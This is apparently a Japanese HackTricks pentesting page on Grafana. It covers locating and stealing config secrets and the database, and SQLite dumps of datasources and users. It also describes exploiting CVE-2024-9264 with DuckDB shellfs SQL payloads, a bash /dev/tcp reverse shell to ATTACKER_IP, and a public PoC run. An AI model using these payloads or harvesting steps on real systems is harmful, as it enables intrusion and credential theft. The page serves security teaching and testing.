Grafana
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
興味深い点
- メイン設定は通常
/etc/grafana/grafana.ini(Deb/RPM) にあり、admin_user、admin_password、secret_key、OAuth 設定、SMTP の資格情報、レンダラー用トークンなどの機密値を含む可能性があります。 - デフォルトでは Grafana はデータを SQLite3 の
/var/lib/grafana/grafana.dbに格納します。 - ホストアクセス後は provisioning ファイルが非常に重要です:
/etc/grafana/provisioning/datasources/*.yaml/etc/grafana/provisioning/plugins/*.yaml- provisioning ファイルでは環境変数の展開がサポートされているため、leaked YAML はしばしばシークレットとそれを支える env var 名の両方を公開します。
- インストール済みプラグインは通常
/var/lib/grafana/pluginsにあります。 - プラットフォーム内では、役割に応じて ユーザーを招待する、API keys / service account tokens を生成する、プラグインを一覧表示する、または 新しいプラグインをインストールする といった操作が可能です。
- ブラウザも有用です: Grafana は非機密の datasource 設定をフロントエンドに公開します。Viewer セッションを持っている(または anonymous access が有効な)場合は、DevTools で
window.grafanaBootDataを確認してください。
Useful SQLite checks:
.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;
データソースとシークレットの収集
Grafana はブラウザで読める設定と暗号化されたシークレットを分離しています:
jsonDataはブラウザ上でユーザーに表示され、内部ホスト、テナント、認証モード、ヘッダー名、AWS リージョン、Elasticsearch インデックス、Loki テナント、Prometheus の URL などの列挙に十分な情報が含まれることが多いです。secureJsonDataはサーバー側で暗号化されており、datasource が保存された後はブラウザからは読み取れなくなります。
Post-exploitation workflow:
- Dump
grafana.iniとsecret_keyの復元。 grafana.dbとプロビジョニングファイルの取得。- データソースやプラグイン設定を列挙して、再利用可能な認証情報や内部エンドポイントを探す。
- データベースを別の Grafana インスタンスに移行またはリプレイする場合、同じ
secret_keyを使用しないと保存済みの datasource パスワード/トークンは正しく復号されません。
Why secret_key matters in newer versions:
- Grafana v9 以降、データベースのシークレットはエンベロープ暗号化を使用します。
- Grafana はシークレットを data encryption keys (DEKs) で暗号化し、その DEK を
secret_keyから派生した key encryption key (KEK) で暗号化します。 - 攻撃者の観点では、
grafana.db+secret_keyが盗む価値のある組み合わせです。
プラグインの攻撃対象領域
プラグインを注釈ではなくターゲットの一部として扱ってください:
- ファイルシステム、UI、または API から列挙する:
curl -s http://grafana.target/api/plugins | jq '.[].id'
- 古いまたはサードパーティ製のプラグインは、HTTPリクエストをプロキシしたりローカルファイル/データベースとやり取りしたりするため、Grafana の内部ネットワークへの到達範囲を拡大することがよくあります。
- 最近の例としては、Infinity プラグインの SSRF(
< 3.4.1)や、Image Renderer プラグインが別のバグを full-read SSRF に変える悪用経路があります。
CVE-2024-9264 – SQL Expressions (DuckDB shellfs) のポスト認証 RCE / LFI
Grafana の実験的な SQL Expressions 機能は、ユーザー制御のテキストを埋め込んだ DuckDB クエリを評価できます。サニタイズ不足により、攻撃者は DuckDB ステートメントを連結して community extension の shellfs をロードでき、shellfs はパイプで接続された仮想ファイル経由でシェルコマンドを公開します。
影響
- VIEWER 以上の認証済みユーザは、Grafana の OS ユーザ(多くは grafana、コンテナ内では時に root)として code execution を得るか、ローカルファイルの読み取りを行えます。
- 実際の運用でよく満たされる前提条件:
- SQL Expressions が有効:
expressions.enabled = true - サーバ上で
duckdbバイナリが PATH に存在する
クイックチェック
- UI/API で Admin 設定(Swagger:
/swagger-ui、エンドポイント/api/admin/settings)を参照して確認: expressions.enabledが true であること- 任意: バージョン、datasource タイプ、および一般的なハードニング設定
- ホスト上のシェル: 下記のエクスプロイト経路では
which duckdbが解決される必要があります。
DuckDB + shellfs を使った手動クエリパターン
- 悪用フロー(2クエリ):
- shellfs 拡張をインストールしてロードし、コマンドを実行して出力をパイプで結合し一時ファイルへリダイレクトする
read_blobを使って一時ファイルを読み返す
DuckDB に渡される SQL Expressions の例ペイロード:
-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');
CMD を希望するコマンドに置き換えてください。ファイル読み取り (LFI) の場合は、代わりに DuckDB の file functions を使ってローカルファイルを読み取ることができます。
ワンライナー reverse shell の例
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
listenerを立てている間、最初のクエリにそれをCMDとして埋め込んでください: nc -lnvp 443.
自動化された PoC
- Public PoC (cfreal’s ten framework上に構築):
- https://github.com/nollium/CVE-2024-9264
使用例
# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target
If output shows uid=0(root), Grafana is running as root (common inside some containers).
2025 client-side traversal / open redirect chain
2025年の Grafana client-side traversal と open-redirect chain は、より一般的な client-side ページですでに文書化されています。これらの techniques を Grafana 固有のパス(plugin assets、dashboard script loaders、token-rotation redirects など)に対して使用してください:
参考資料
- Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)
- Grafana docs – Add authentication for data source plugins (
jsonData,secureJsonData,window.grafanaBootData) - Grafana docs – Configure database encryption
- Grafana docs – Provision Grafana
- Cycode – One Plugin Away: Breaking Into Grafana from the Inside
- DuckDB shellfs community extension
- nollium/CVE-2024-9264 PoC
- cfreal/ten framework
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


